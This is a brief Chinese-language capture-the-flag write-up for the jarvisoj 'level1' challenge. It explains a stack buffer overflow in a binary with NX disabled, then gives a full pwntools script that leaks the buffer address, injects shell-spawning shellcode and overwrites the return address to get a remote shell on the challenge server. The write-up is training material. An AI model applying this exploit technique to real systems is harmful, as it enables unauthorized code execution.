level1
checksec看一下保護,幾乎沒什麼保護措施:
先拖進IDA裏面看一下(f5大法好),發現棧溢出點:
f12沒發現"/bin/sh",看一下printf函數會把buf的地址輸出出來,我們將它截取,並保存在buf_addr中。由於NX是關閉的狀態,也就是說我們把shellcode寫進buf裏面,函數返回時跳轉回buf的位置,就可以執行shellcode了。因此我們把shellcode的代碼從buf的起始地址開始填充,然後buf中剩下的地址由a填充,因爲我們最後需要調用shellcode代碼,因此再加上buf_addr(記得將之字符化)
上腳本:
from pwn import *
p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
text = p.recvline()[14:-2]
print text[14:-2]
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())
payload = shellcode + 'a' * (0x88+4-len(shellcode)) + p32(buf_addr)
p.send(payload)
p.interactive()
得到flag: